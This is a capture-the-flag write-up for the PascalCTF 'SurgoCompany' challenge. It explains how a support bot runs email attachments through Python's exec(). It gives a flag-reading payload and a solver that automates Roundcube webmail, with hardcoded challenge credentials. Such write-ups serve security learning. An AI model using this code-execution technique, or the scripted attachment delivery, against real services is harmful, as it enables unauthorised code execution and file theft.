Challenge Overview
Name: SurgoCompany
Category: Misc
Objective: Exploit a vulnerability in the customer service bot to read the flag.txt file.
Vulnerability Analysis
The challenge provided the source code for the customer service bot. The critical function is check_attachment, which is called when the bot receives a reply from a user with a matching Ticket PID.
def check_attachment(filepath): if filepath is None: return False
print(f"Checking attachment '{filepath}'...")
# Read the attachment content try: with open(filepath, "r") as f: content = f.read() except Exception as e: # ... error handling ... return
# Execute the attachment's code try: # VULNERABILITY: Arbitrary Code Execution exec(content) print("The attachment did not pass the security check.") print("Removing the attachment...")
except Exception as e: print("The attachment passed the security check.") # ...The bot takes the content of the email attachment and directly passes it to Python’s exec() function. This is a classic Remote Code Execution (RCE) vulnerability. If we can upload a Python script as an attachment, the bot will execute it.
Exploitation Strategy
The Plan
- Initiate Session: Connect to the challenge server (
surgobot.ctf.pascalctf.it:6005) to generate a ticket. The server sends an email to the provided address with a Ticket PID. - Receive Email: Access the email account to find the message from the bot and extract the PID.
- Send Exploit: Reply to the bot (or send a new email) with the correct subject format (
Surgo Company Customer Support - Request no. <PID>) and attach a Python script that readsflag.txt. - Capture Output: The bot’s output (stdout of
exec) is piped back to the challenge connection, allowing us to see the flag.
Obstacles
Initially, I attempted to use standard IMAP/SMTP libraries (imaplib, smtplib) to handle the emails. However, connection attempts to standard mail ports (993, 465, 587, 25) on surgo.ctf.pascalctf.it timed out. It appeared that direct access to the mail server ports was blocked from the outside.
Solution: Webmail Automation
The challenge provided a webmail interface at https://surgo.ctf.pascalctf.it, running Roundcube. Since the HTTP/HTTPS ports were accessible, I pivoted to automating the webmail interface to send the exploit.
I developed a Python script (solve_roundcube.py) that acts as a custom Roundcube client:
- Authentication: Logs into Roundcube using
requestsby parsing CSRF tokens (_token). - Inbox Polling: Uses Roundcube’s AJAX API (
_action=list) to retrieve email headers in JSON format. This was necessary because the standard HTML view didn’t reliably show new messages immediately due to caching/loading behaviors. - Dynamic Parsing: Extracts the Ticket PID and the bot’s sender address directly from the email headers.
- Sending the Exploit:
- Uses the Roundcube
composeanduploadactions to attach the payload. - Sends the email using the
sendaction, ensuring the correct_fromidentity and_remote=1parameters were set to emulate a real browser request. - Important: We sent a fresh email instead of using the “Reply” function to ensure a clean subject line and avoid potential threading issues that caused the bot to miss previous attempts.
- Uses the Roundcube
The Payload (exploit.py)
import osprint("FLAG_START")try: print(open("flag.txt").read())except Exception as e: print(f"Err: {e}") # Fallback: list directory if flag filename is different print("DIR_LIST:") print(os.listdir("."))print("FLAG_END")Solver Script
The final solver script automates the entire interaction:
import requestsfrom bs4 import BeautifulSoupfrom pwn import *import timeimport re
URL = 'https://surgo.ctf.pascalctf.it'USER = 'user-rct36k68@skillissue.it'PASS = 'NroMwieCU8zFmuSc'HOST = 'surgobot.ctf.pascalctf.it'PORT = 6005
s = requests.Session()
# ... (Helper functions for login, token extraction, and Roundcube actions) ...
def main(): if not login(): return
print("[*] Connecting to challenge...") p = remote(HOST, PORT) p.recvuntil(b'Enter your email address:') p.sendline(USER.encode())
# ... (Polling loop to find email and extract PID/Sender) ...
if target_pid: sender = found_sender if found_sender else 'surgobot@skillissue.it' send_fresh_email(target_pid, sender)
# Capture flag try: while True: line = p.recvline(timeout=2) if b'FLAG_START' in line: flag = p.recvline().decode().strip() print(f"\n[!!!] FLAG: {flag}\n") break except KeyboardInterrupt: pass p.close()
if __name__ == '__main__': main()Results
Running the solver successfully retrieved the flag:
[!!!] FLAG: pascalCTF{ch3_5urG4t4_d1_ch4ll3ng3}